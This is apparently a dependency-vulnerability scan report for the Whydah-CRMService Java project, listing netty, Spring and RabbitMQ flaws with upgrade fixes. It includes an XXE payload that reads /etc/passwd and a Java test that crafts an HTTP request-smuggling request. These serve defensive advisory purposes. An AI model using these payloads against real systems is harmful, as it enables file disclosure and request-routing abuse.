    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection in the XmlDecoder file when XML input containing a DOCTYPE declaration is processed by an AsyncXMLInputFactory without security configuration, leaving DTD and entity handling enabled. An attacker can access sensitive files or internal network resources by delivering crafted XML data to the channel pipeline.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SimpleEvaluationContext file when the SpEL expression compiler is enabled through specific configuration settings. An attacker can cause unbounded class-loading growth and bypass enforced safety checks by submitting specially crafted expressions for evaluation.

Note: This is only exploitable if the application evaluates SpEL expressions using SimpleEvaluationContext and the SpEL expression compiler is active via the spring.expression.compiler.mode property or a SpelParserConfiguration set to IMMEDIATE or MIXED.

Remediation

Upgrade org.springframework:spring-expression to version 7.0.9 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the evaluation of user-supplied SpEL expressions containing the power operator (^) with a BigDecimal or BigInteger operand and a large exponent value. An attacker can cause excessive CPU and memory consumption by submitting specially crafted expressions.

Note: This is only exploitable if the application accepts and evaluates untrusted SpEL expressions and a BigDecimal or BigInteger value is accessible within the evaluation context.

Remediation

Upgrade org.springframework:spring-expression to version 7.0.9 or higher.

References

high severity
new

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

  • Vulnerable module: com.rabbitmq:amqp-client
  • Introduced through: io.ratpack:ratpack-dropwizard-metrics@1.9.0

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.dropwizard.metrics:metrics-graphite@4.1.6 com.rabbitmq:amqp-client@5.5.3

Overview

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') via ProcedureDescription.computeReturnTypeAsJavaClass() in src/main/java/com/rabbitmq/tools/jsonrpc/ProcedureDescription.java. An attacker can trigger loading of attacker-chosen classes by sending a crafted JSON-RPC javaReturnType value in a system.describe response. Because the client resolves that field with Class.forName(javaReturnType) on data taken from an untrusted AMQP message, classes on the victim’s classpath are loaded with static initialization enabled. That can execute attacker-selected static initializers in the client JVM and disrupt or influence applications using the JSON-RPC tools.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.33.0 or higher.

References

high severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-stomp
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-stomp@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to CRLF Injection via the encodeHeaders in the STOMP frame encoder, which fails to validate or escape newline characters in header values for certain commands. An attacker can inject arbitrary headers by including newline characters in user-controlled input, potentially bypassing authentication or modifying connection parameters.

Note: This is only exploitable if user-controlled input is placed into header values of a CONNECT or CONNECTED frame, the application does not perform its own newline sanitization, and the downstream STOMP broker processes the injected headers.

Remediation

Upgrade io.netty:netty-codec-stomp to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: io.netty:netty-resolver-dns
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the DnsResolveContext.AuthoritativeNameServerList#add function. An attacker can inject malicious NS and A records into the DNS cache by controlling an authoritative name server for a subdomain and providing NS records that claim authority over a parent domain, leading to unauthorized redirection or interception of DNS queries for affected domains.

Remediation

Upgrade io.netty:netty-resolver-dns to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: io.netty:netty-resolver-dns
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity due to missing validation of the origin of CNAME records in DNS responses within the DnsResolveContext function. An attacker can inject unauthorized DNS records by supplying malicious DNS responses, potentially leading to cache poisoning and redirection of network traffic.

Remediation

Upgrade io.netty:netty-resolver-dns to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-dns@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in AbstractDnsRecord and DefaultDnsRecordDecoder, where a domain name that violates IDNA rules makes IDN.toASCII() throw before the decoded ByteBuf is assigned to the record's content, leaving the buffer unreleased. An attacker can leak direct memory on each malformed record and exhaust it over sustained traffic by sending DNS records whose domain names violate IDNA rules, contain null bytes in a decompressed name, or otherwise fail to decode. Exploitation affects applications that decode DNS records with Netty's DnsRecordDecoder, such as DnsNameResolver clients processing responses from an attacker-influenced resolver or custom DNS servers, and the leak is incremental, requiring sustained malformed records to exhaust memory.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity
new

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-dns@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through DnsCodecUtil.decompressDomainName in codec-dns/src/main/java/io/netty/handler/codec/dns/DnsCodecUtil.java. An attacker can exhaust direct memory and trigger a gradual denial of service by sending DNS packets with malformed domain names that make domain-name encoding fail during decode. When encodeDomainName(domainName, result) throws on invalid input, the allocated ByteBuf is not released, and repeated packets leak buffers until the process runs out of memory.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HttpContentEncoder. An attacker can cause unbounded memory consumption by sending a large number of HTTP/1.1 pipelined requests faster than the application can generate responses, leading to resource exhaustion.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.

PoC

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in HttpObjectDecoder.java, which skips whitespace as well as bytes 0x00-0x1F and 0x7F. An attacker can cause request-boundary confusion in pipelined or multiplexed transports by sending malicious HTTP requests containing arbitrary control characters, which may be interpreted differently by front-end components.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Incorrect Authorization

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Incorrect Authorization in the CorsHandler. An attacker can gain unauthorized access to backend resources by sending requests with an Origin: null header, which bypasses the intended access controls due to a logical operator error in the origin evaluation.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http2@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforcement of the advertised MAX_CONCURRENT_STREAMS setting in HTTP/2 connections in AbstractHttp2ConnectionHandlerBuilder. An attacker can exhaust server resources by opening a large number of concurrent streams over a single TCP connection, potentially leading to service disruption.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http2@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the handling of the SETTINGS_MAX_HEADER_LIST_SIZE setting, when acting as a server. An attacker can cause the server to trigger exceptions during response header writing, by sending artificially small header size limits that block other clients' requests.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http2@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the translation from HTTP/2 to HTTP/1.x, specifically when handling both the :authority pseudo-header and a literal host header in a single HEADERS frame. An attacker can manipulate request routing by supplying differing values for these headers, resulting in two Host headers in the resulting request object.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http2@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime in the DelegatingDecompressorFrameListener function. An attacker can cause memory exhaustion and potentially crash the JVM by sending specially crafted HTTP/2 frames that trigger a resource leak.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-mqtt
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-mqtt@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of size limits applied to the Properties section during the decoding process. An attacker can cause excessive CPU and memory consumption by sending MQTT messages with extremely large Properties sections.

Remediation

Upgrade io.netty:netty-codec-mqtt to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

Improper Check or Handling of Exceptional Conditions

  • Vulnerable module: io.netty:netty-codec-redis
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-redis@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to Improper Check or Handling of Exceptional Conditions in the RedisArrayAggregator process. An attacker can cause retained partial aggregate state to persist by sending a RESP array with a bulk-string child followed by a nested array header that exceeds the configured maxElements limit, resulting in a decoder exception without proper cleanup. This allows attacker-controlled aggregate state to remain alive across a security-limit exception, potentially pinning retained pooled buffers until the channel is closed or the handler is removed.

Remediation

Upgrade io.netty:netty-codec-redis to version 4.1.136.Final, 4.2.16.Final or higher.

References

medium severity

Generation of Predictable Numbers or Identifiers

  • Vulnerable module: io.netty:netty-resolver-dns
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final

Overview

Affected versions of this package are vulnerable to Generation of Predictable Numbers or Identifiers due to the use of a predictable pseudo-random number generator for DNS transaction IDs and a default static UDP source port in the DNS resolution process. An attacker can redirect network traffic or perform man-in-the-middle attacks by spoofing DNS responses.

Note:

This is only exploitable if the attacker's forged response arrives before the legitimate DNS reply. The timing window is not guaranteed.

Remediation

Upgrade io.netty:netty-resolver-dns to version 4.1.135.Final, 4.2.15.Final or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.springframework:spring-expression
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.springframework:spring-context@3.2.11.RELEASE org.springframework:spring-expression@3.2.11.RELEASE

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when a user provides a very long SpEL expression.

Remediation

Upgrade org.springframework:spring-expression to version 5.2.24.RELEASE, 5.3.27, 6.0.8 or higher.

References

medium severity
new

